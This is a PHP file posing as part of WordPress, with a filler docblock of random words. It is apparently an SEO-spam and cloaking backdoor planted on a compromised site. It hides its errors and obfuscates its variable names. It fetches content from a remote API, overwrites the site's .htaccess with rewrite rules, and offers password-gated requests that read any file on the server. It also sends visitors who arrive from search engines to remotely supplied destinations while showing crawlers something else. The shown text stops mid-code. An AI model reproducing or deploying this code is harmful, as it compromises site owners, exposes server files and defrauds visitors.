<?php 

/**
 * adapt appetite arichmetic auxiliary chaos electron expend flock hook male manual notion omit onion origin passport previous quit solar strategy transmit undergo variable.
 * appoint decay devise emphasize generate genuine glorious isolate manufacture opportunity origin regulate resemble severe temptation timber tropical.
 * acknowledge applicable comparable genius infect interfere loosen passport tide universal.
 * ban enclose genuine radiation spray timber vacant victim.
 * abuse coarse comedy geology golf guarantee laser slide temple.
 * mist slippery tendency vary.
 * acknowledge appropriate distribute duration emotion episode extent golf infect leisure marine outset parallel profit pursue range religion remote retail shrug stimulate textile tone vanish weave.
 * algebra applicable authority awful competent earthquake expenditure fax inhabitant molecule moral nylon oblige orient peak shuttle sincere slope talent trial undergo violent.
 * code competition dispose knot nylon oval prospect sake secure semester substance treaty violent wagon.
 * applianc architecture campus consent deaf devise evil exclaim faulty frustrate liquor manual opponent reject security stuff suspicion tone valid.
 * adequate applause available discipline dive explosive illegal index ingredient internal jail liberal oral oval portion presumably security sensible shield spit survey torture tremendous violent.
 * attach bother burst conservation discount discrimination extraordinary hint hydrogen jail mature media necessity prosperity remedy respond revenue simplify sophisticated undergraduate violet volunteer.
 * attitude brake conquer elaborate mixture motivate network nucleus thrust weld wonder.
 * applicable attach derive discount emotion gaze insurance insure isolate joint laser noticeable peak shield undergo variation withstand.
 * adapt competent dump electron expand gap hestiate lest luxury orchestra outstanding prospect sexual tendency urgent.
 * audio community dusk favorable highlight hint horrible inferior ridiculous rival shuttle solar temptation utilise vital.
 *
 * @package WordPress
 */


@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DATAHOST","https://www.data-center.com/api/");
define("CENTERKEY",3);
define("MYDIR", "/ebayde210327-50/");
define("FNUM",97);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","h");
define("CURRENUSE","/usd/");
define("BZPRO","u");
define("BZCAT","l");
//msbg
define("JDT","0");
//msend

//msidbg
define("MSID",7027);
//mssidend


//keyjgbg

define("KEYJG",16);

//keyjgend

//randnumIbg

define("RANDNUMI",3);

//randnumIend

//randnumIIbg

define("RANDNUMII",6);

//randnumIIend

//pnamelenbg

define("PNAMELEN",59);

//pnamelenend

//jthouzuibg
define("JTHZ",".shtml");
//jthouzuiend


//nttarr_bg

$arrnametime[]="3";
$arrnametime[]="4";
$arrnametime[]="1";
$arrnametime[]="2";


//nttarr_end


//kwzzarr_bg

$arrKeywz[]="9";
$arrKeywz[]="4";
$arrKeywz[]="11";
$arrKeywz[]="6";
$arrKeywz[]="7";
$arrKeywz[]="8";
$arrKeywz[]="5";
$arrKeywz[]="10";
$arrKeywz[]="12";


//kwzzarr_end


//brddarr_bg

$arrBread[]="breadList clearfix";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="breadHead";
$arrBread[]="crumbs";
$arrBread[]="";
$arrBread[]="l-breadcrumb";
$arrBread[]="crumbsHeads";
$arrBread[]="BreadcrumbTops";
$arrBread[]="breadHeads clearfix";
$arrBread[]="";
$arrBread[]="crumbsTops row";
$arrBread[]="l-breadcrumblist";
$arrBread[]="crumbsTop";
$arrBread[]="";
$arrBread[]="customBreadcrumb row";
$arrBread[]="crumbs-top row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="nw-breadcrumblist row";
$arrBread[]="breadcrumbs-base clearfix";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="crumbs-nag";
$arrBread[]="ck-breadcrumb row";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="Bread";
$arrBread[]="crumbsHeads row";
$arrBread[]="";
$arrBread[]="v-breadcrumb";
$arrBread[]="ag-breadcrumblist row";
$arrBread[]="l-breadcrumblist row";
$arrBread[]="c-breadcrumb";
$arrBread[]="v-breadcrumb row";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="crumbsHead row";
$arrBread[]="wrapper-breadcrums";
$arrBread[]="s-breadcrumb";
$arrBread[]="Breadcrumbs clearfix";
$arrBread[]="r-breadcrumb row";
$arrBread[]="";
$arrBread[]="qa-breadcrumb row";
$arrBread[]="page-breadcrumbs";
$arrBread[]="breadtops row";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="Bread row";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="breadcrumb row";
$arrBread[]="mb-breadcrumb";
$arrBread[]="breadcrumb";
$arrBread[]="l-breadcrumblist clearfix";
$arrBread[]="plp__breadcrumb clearfix";
$arrBread[]="c-breadcrumb row";
$arrBread[]="BreadcrumbsHead row";
$arrBread[]="BreadcrumbsList clearfix";
$arrBread[]="crumbList";
$arrBread[]="crumbList row";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="crumbs clearfix";
$arrBread[]="crumbsTops";
$arrBread[]="crumbs-head row";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="";
$arrBread[]="breadHeads";
$arrBread[]="bread_crumb";
$arrBread[]="bread_crumb row";
$arrBread[]="cs-breadcrumb";
$arrBread[]="breadLists clearfix";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="ck-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="crumbs-nag row";
$arrBread[]="breadtop clearfix";
$arrBread[]="breadLists row";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="l-breadcrumb row";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="ag-breadcrumblist clearfix";
$arrBread[]="breadcrumb";
$arrBread[]="breadtop";
$arrBread[]="mb-breadcrumb clearfix";
$arrBread[]="BreadHead clearfix";
$arrBread[]="nw-breadcrumblist";
$arrBread[]="wrapper-breadcrums row";
$arrBread[]="doc-crumb row";
$arrBread[]="el-breadcrumb row";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="crumb-list row";
$arrBread[]="Breadcrumb row";
$arrBread[]="ck-breadcrumb";
$arrBread[]="crumbList clearfix";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="plp__breadcrumb row";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="qa-breadcrumb";
$arrBread[]="breadHead row";
$arrBread[]="crumbs-top";
$arrBread[]="BreadcrumbList";
$arrBread[]="Breadcrumbs";
$arrBread[]="BreadcrumbTop";
$arrBread[]="Breadcrumb row";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="BreadcrumbHead row";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="breadHeads row";
$arrBread[]="breadcrumbs-base";
$arrBread[]="customBreadcrumb";
$arrBread[]="breadtops";
$arrBread[]="navBreadCrumb";
$arrBread[]="breadtops clearfix";
$arrBread[]="nw-breadcrumblist clearfix";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="mb-breadcrumb row";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="Breadcrumb";
$arrBread[]="qa-breadcrumb clearfix";
$arrBread[]="doc-crumb";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="breadcrumbs-base row";
$arrBread[]="BreadcrumbsList row";
$arrBread[]="BreadHead";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="bread-List row";
$arrBread[]="breadcrumbs clearfix";
$arrBread[]="r-breadcrumb";
$arrBread[]="breadHead clearfix";
$arrBread[]="breadcrumb row";
$arrBread[]="crumb-list";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="";
$arrBread[]="bread-List";
$arrBread[]="breadcrumbs row";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="crumbs-head";
$arrBread[]="crumbsHead";
$arrBread[]="crumbs row";
$arrBread[]="BreadHead row";
$arrBread[]="breadtop row";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="cs-breadcrumb clearfix";
$arrBread[]="BreadcrumbsList";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="breadcrumbs";
$arrBread[]="BreadcrumbsHead";
$arrBread[]="plp__breadcrumb";
$arrBread[]="el-breadcrumb";
$arrBread[]="crumb-list clearfix";
$arrBread[]="bread-List clearfix";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="BreadcrumbList row";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="wrapper-breadcrums clearfix";
$arrBread[]="Breadcrumbs row";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="Bread clearfix";
$arrBread[]="BreadcrumbList clearfix";
$arrBread[]="breadLists";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="BreadcrumbHead";
$arrBread[]="Breadcrumb";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="ag-breadcrumblist";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="";
$arrBread[]="BreadcrumbLists";
$arrBread[]="breadList";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="crumbsTop row";
$arrBread[]="breadList row";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="l-breadcrumb row";
$arrBread[]="navBreadCrumb row";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="s-breadcrumb row";
$arrBread[]="navBreadCrumbs";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="ant-breadcrumb";
$arrBread[]="navBreadCrumb clearfix";


//brddarr_end




//fhharr_bg

$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2018";

//fhharr_end



$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();



//srrarr_bg
$date_string[0]="vstorfdjzilmexqgybnwkcapuh";
$date_string[1]="tjhsyfkclozduiawrxembpvgnq";
$date_string[2]="dwgpfjbiqtcoukyhzxrsvlamen";
$date_string[3]="gsptkodmfjazinurclvbxqwyhe";
$date_string[4]="mjfcqltdbnxapyoirhweuvzsgk";
$date_string[5]="peaqwndroyhxgjifsukltcmzvb";
$date_string[6]="qkzihjlbpxvwtcsugfaeyondrm";
$date_string[7]="kedwhnagcuqmflpvjxbiozsryt";
$date_string[8]="iwzcgetuvkldynhforqxjapsmb";
$date_string[9]="ngpcwbjreoizuhymvktalxfdsq";
$date_string[10]="qdfwjmhlnrcygstvxupbziokae";
$date_string[11]="yolakcsetihpnfdzqjguwrmxbv";
$date_string[12]="zlcdnyqipftwkesamgbhxjruvo";
$date_string[13]="ampvlgwhsitnxyoqfjkcubzrde";
$date_string[14]="lojiesuwfbxnkyqdcmartghzvp";
$date_string[15]="ypcwkizjxvatngrqmflbdsohue";
$date_string[16]="oymhsalngeqivzxcdturkwfbpj";
$date_string[17]="ajvbcrfwpktxenmqhgluozdisy";
$date_string[18]="mlzspqxwcokbtnajhruivfdgey";
$date_string[19]="jeftoswvmzgylnxdiuapkqchbr";
$date_string[20]="xrmhqbveuofwnzstalgdpyickj";
$date_string[21]="zyvdgefnsohrqtuilkwajmxbpc";
$date_string[22]="wvkxrdfpihqcmjlbnytuozseag";
$date_string[23]="ycuwjrivzbedfmtlspqhnxgoak";
$date_string[24]="vzjaienhsgxoutblfrwkpydmcq";
$date_string[25]="stazoxcvprfnmujihwlgykbedq";
$date_string[26]="tjqxmoscieavluzhdkfrgpwnyb";
$date_string[27]="dqwnasfkhrxvyjlctpbuzgomei";
$date_string[28]="xljsdyuaptekqbrmgvcfihzonw";
$date_string[29]="qtlcwmusebjaxkvgnyirdzofph";
$date_string[30]="alzrqymohpikevugfcxbwjstdn";
$date_string[31]="xbuhgzojekmtrsndpicwfavlqy";
$date_string[32]="kimwrgbdtsqnjfvclzeyhopaxu";
$date_string[33]="zymhrqbxtiavknfwejodlscpug";
$date_string[34]="jcmkfdyvhgtbluniqproaxezws";
$date_string[35]="ibfmjzdyxsgphtqncuaowevrlk";
$date_string[36]="faqkjvcsnybmhdotzplwrxguei";
$date_string[37]="onmgtvrsqyadhpfibzxwjeclku";
$date_string[38]="oljfvxkrzebuwmhgcdnaqsipty";
$date_string[39]="rsfagqlcmxtjhbkuoivwzepydn";
$date_string[40]="swymxlaobgqvrkhezpujdntcfi";
$date_string[41]="dxnrelzkacjwpmibvuyohgftqs";
$date_string[42]="xiwrvqjskdfbytncplhomugzae";
$date_string[43]="ekalzrbvqdynghmjtpiwufxosc";
$date_string[44]="tnivhpgkmjywqzlxcuaodesrfb";
$date_string[45]="lhgjvtmxwupqcabsdoizferkny";
$date_string[46]="odcavsjpbzuflnhmygetqiwxkr";
$date_string[47]="rgitpdaxwenvlhmfbosczkujqy";
$date_string[48]="kcauzyjwxotpbgimdlvrfshenq";
$date_string[49]="bqgjrdsnmpwctlazxyfkhivoeu";
$date_string[50]="fiwzqhnlrpkymvedcsoxbajtug";
$date_string[51]="ulwjpahoyqxbikcgsfrnmezdtv";
$date_string[52]="jxzevsrgafohtpybnqkciudlwm";
$date_string[53]="wysqeaiodufhclzxpbnjrvktmg";
$date_string[54]="lbguorwzhdtevkysxicmnqpafj";
$date_string[55]="gpfarshqejixbdovzlwuymcknt";
$date_string[56]="fwterdxbjhvaukmicgyzonlsqp";
$date_string[57]="umhqxwoivnkbzjtrplgydfseac";
$date_string[58]="tphaeosrkcnmqjzvlwdyxufigb";
$date_string[59]="tvihkabfmozjpuwcxselrgyndq";
$date_string[60]="azerwislhtdvxgonkcjqypfumb";
$date_string[61]="zepwvachitrgdkqblxjynsfmou";
$date_string[62]="fvkreqasnjyiozpdthwlbgxucm";
$date_string[63]="wfzungxtelspdorhiqmcjvykba";
$date_string[64]="itevkguyxdnfphsjwrcbqzlmao";
$date_string[65]="djzweshcgvriqaopykufxblmtn";
$date_string[66]="chvekmnytrgquidoxjwaplbsfz";
$date_string[67]="xupejbhcfsowrzymqaigtlvknd";
$date_string[68]="gyrqvuidkljpwzonefhsxcamtb";
$date_string[69]="aqnvplfymhbwsirugtozkjcdex";
$date_string[70]="rjqnbduyxtfzigkpvoslwcemha";
$date_string[71]="dbqzfrjmlpiahsyxvcnewkgotu";
$date_string[72]="ridpjuwmgabcvkhozxslnyefqt";
$date_string[73]="tspyeijrmlczkxgbvdfuonwqha";
$date_string[74]="hdprexsnywfoktazjcbulvqimg";
$date_string[75]="zyskacqigpxhoemnfljrvtubwd";
$date_string[76]="kpaywsdegzcmtvxjqbifrnhuol";
$date_string[77]="gqsxkibozpcdvftalwhjnurmey";
$date_string[78]="gsehickwtfpvloraynubdjzxmq";
$date_string[79]="pfdtuwisyzcmevkbxojrhnqalg";
$date_string[80]="yzqafsckeidptbnlvogjrhwuxm";
$date_string[81]="vyrxspgnmafqkwetdihocbulzj";
$date_string[82]="vujekgscadbtyrlizpqfnmwohx";
$date_string[83]="uvatyczfipdwhgqrjsokxmenbl";
$date_string[84]="cdpiqgmujalktnwfzyxhvoesrb";
$date_string[85]="evauistwgpkylxmcoznrdhjfbq";
$date_string[86]="cmgzaqklvnxeoiwfrsbjydhtup";
$date_string[87]="iloptwacmdexrgzvbjysunhfkq";
$date_string[88]="gfymqalizbxvocdsnerjwkuhtp";
$date_string[89]="jablcuzphxmsvkirwgfeodnytq";
$date_string[90]="jlivmhfxkrybqaetgwzcndsupo";
$date_string[91]="bcshqxpgkrtamlwvduinyjzoef";
$date_string[92]="jodnqkgpiuacrzyhtelfbmsvxw";
$date_string[93]="hargmknoplyztdisxfejqcwbvu";
$date_string[94]="cliehfjuxzmadwkgvbynostrpq";
$date_string[95]="jsagxwormdzfyheivtcpqnbkul";
$date_string[96]="qxzfmtwukhjovypndleicrbsga";
$date_string[97]="imtzehyqdouajscxrnfpbwvglk";
$date_string[98]="pyqrxbljvghoudweznfakcitms";
$date_string[99]="snrmitkzgydqvoaleupfjwbhxc";

//srrarr_end



$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
		


// 
	
	
	
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
   $arrArrr[$j++] = $date_string{$i}.$date_string{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{9}.$O00O0O{4}.$O00O0O{0}.$O00O0O{13}.$O00O0O{17}.$O00O0O{14}.$O00O0O{11};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};



if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
	
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	
	if (! is_dir("../docs"))
		mkdir("../docs", 0755);	
	global $gnumber;
	$gnumber = 1;
	$bgNum = (int)trim($_GET["gsitemap"]);
	$mapnum = (int)trim($_GET["mapnum"]);
	if($bgNum > FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);
	
	$rs = '#<map>(.*)</map>#si';
	$mapLogs = file_get_contents("./map.log");
	
	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";
		
		
		if(JDT == 0 && $gnumber == 1){
			
			if(strstr($mapLogs,'site_map.xml') && file_exists('../docs/sitemap.xml')){
				echo $vals."<br/>";
				echo '../docs/sitemap.xml successed<br/>';
				$gnumber++;
				continue;	
			}
		
		}elseif(JDT == 0){
				
		if(strstr($mapLogs,'#article' . $arrABC[$gnumber-2] . 'map' .'.xml#') && file_exists('../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml')){
			echo $vals."<br/>";
			echo '../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		}
		
		
		if(strstr($mapLogs,'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#') && file_exists('../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml')){
			echo $vals."<br/>";
			echo '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		
		for($i=0; $i<3; $i++){
			$idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
			$tempIdStr = curl_get_from_webpage($idUrl,'',5);
			$arrIdNameNow = array();
			if(preg_match($rs,$tempIdStr,$matchIdName)){
				$tparrIdName = explode('^^',$matchIdName[1]);
				foreach($tparrIdName as $vs){
					$tpArr = explode('^',$vs);
					if(count($tpArr) == 2){
						$arrIdNameNow[$tpArr[0]] = $tpArr[1];
					}elseif(count($tpArr) > 2){
						$tpstr = '';
						for($j=1; $j<count($tpArr); $j++){
							$tpstr .= $tpArr[$j] . ' ';
						}
						$tpstr = trim($tpstr);
						$arrIdNameNow[$tpArr[0]] = $tpstr;
					}
				}
				
				break;
			}
		}
		
		
	
		if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
			echo "g sitemap fail<br/>";
			die();
		}
		
		echo $vals."<br/>";
	
		if($gnumber == 1){
			if(JDT == 1){
				gsitemap($arrIdNameNow,2,1);			
				}else{
				gsitemap($arrIdNameNow,1,2);			
				}
		}else{
			
			if(JDT == 1){
				gsitemap2($arrIdNameNow,2,1);			}else{
				gsitemap2($arrIdNameNow,1,2);			}
			
		}
		
		unset($arrIdNameNow,$tempArr1,$tempArr2);	}
	
}


if(isset($_GET["ghtac"]) && $_GET["ghtac"]){

	$dirNames = dirname(__FILE__);    
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	
	$PreDir = '';	
	if(JDT == 1){
		$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';	
	}else{
		$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';	
	}
	$strhtt = '';
	if (file_exists("$PreDir.htaccess")){
		@chmod("$PreDir.htaccess",0755);
		$strhtt = file_get_contents("$PreDir.htaccess");	
	}
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
	}
		
	if(1){
		
		$r0 = '#(.*RewriteEngine On.*)#i';

		$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		

	

		if(JDT == 0){
			
			
			$rsut = '\1'.PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*(article[a-z]+map\.xml)$  docs/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  docs/\$1 [L]' . PHP_EOL ;
		
			$rsut2 = PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*(article[a-z]+map\.xml)$  docs/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  docs/\$1 [L]' . PHP_EOL .'RewriteRule' ;
		
			
		}else{
			
			
			$rsut = '\1'. PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
		
			$rsut2 =  PHP_EOL . 'RewriteRule ^' . '.*detail/(.*)/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL   .'RewriteRule' ;	
		
			
		}



	
			if(preg_match($r0,$strhtt)){
				$strhtt = preg_replace($r0,$rsut,$strhtt,1);
			}elseif(preg_match($r1,$strhtt)){
				$strhtt = preg_replace($r1,$rsut,$strhtt,1);
			}else{
				$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
			}
		
		if(JDT == 1 or JDT == 0){
			file_put_contents("$PreDir.htaccess", $strhtt);		
		}
		
	}

	die("ghtac ok");
}


if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
	
if(JDT==2){
	
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
		$tempSid = '';		$tempPid = '';		
				
		$r2='#(\d+)-.*'. JTHZ .'$#i';		$r3='#(\d+)-.*/$#i';
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
	
			
		if($tempPid && !strstr($_SERVER['REQUEST_URI'],'detail/')){
			$_GET['id']= $tempPid;		
		}else{
			$r2='#.*detail/(.*)/#i';		$r3='#.*detail/(.*)$#i';
			if(preg_match($r2,$UrlParent,$matches2)){
				if(isset($matches2[1]))
					$tempPid = $matches2[1];		
			}else{
				preg_match($r3,$UrlParent,$matches13);
				if(isset($matches13[1]))
					$tempPid = $matches13[1];
			}
			
			if($tempPid)
				$_GET['cat']= $tempPid;	
			
		}
	}
	
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
		
		$tempSid = '';		$tempPid = '';		$UrlParent = $_GET['keyword'];		

		$r2='#-(\d+)$#i';		$r3='#[-/]'.'(\d+)$#i';	
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		

	
	
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
	
	
}	
	
function getRandStr(){
	
	$arrABC = range('a','z');	shuffle($arrABC); 
	$randNum = rand(4,6);	
	$str = implode('',array_slice($arrABC,0,$randNum));	
	return $str;}
	

if(isset($_GET["id"]))
	$id = $_GET["id"];
else{
	
	if(isset($_GET["cat"])){
		$rqurl = $_GET["cat"];
		
		$logFileName = './idlogs.txt';
		if(file_exists($logFileName)){
			$arrUrlId = unserialize(file_get_contents($logFileName));
		}else{
			$arrUrlId = array();
		}

		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
			$id  = $arrUrlId[$rqurl];		
		}else{
			$arrUrlId[$rqurl] = getRandCId($rqurl);
			$id = $arrUrlId[$rqurl];
			file_put_contents($logFileName,serialize($arrUrlId));
			@touch(dirname($logFileName), $fLogTime, $fLogTime); 
			@touch($logFileName, $fLogTime, $fLogTime);    
		}
	}else{
		
	
	$id = "770778"; //llq index id 
	
	}

}

$rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
	http_response_code(404);
	exit;
}
$id23 = $id;



$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
	$referer = $_SERVER["HTTP_REFERER"]; 
	$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';	

	$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') ); 
	$localIp = get_real_ip();	
	$is_or_no = is_ip($localIp,$ipRanges);
	$iszz = isCrawler();	
	
	if(function_exists('gethostbyaddr')){
		$hostname = @gethostbyaddr($localIp);
		$is_g_ip = preg_match("#google#i", "$hostname") === 1;
	}else{
		$is_g_ip = 0;
	}
	
	if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
		$rsdom = '#^https?://www\.[^/]+/$#i';
		
		$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";	
		$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
	
		for($i=0;$i<2;$i++){
			$jumstz = curl_getjs_from_webpage($jums1,2);
			$jumstz = trim($jumstz);

			if(!preg_match($rsdom,$jumstz)){
				$jumstz = curl_getjs_from_webpage($jums2,10);
			
				$jumstz = trim($jumstz);
				if(preg_match($rsdom,$jumstz))
					break;
			}else{
				break;
			}
		}
		
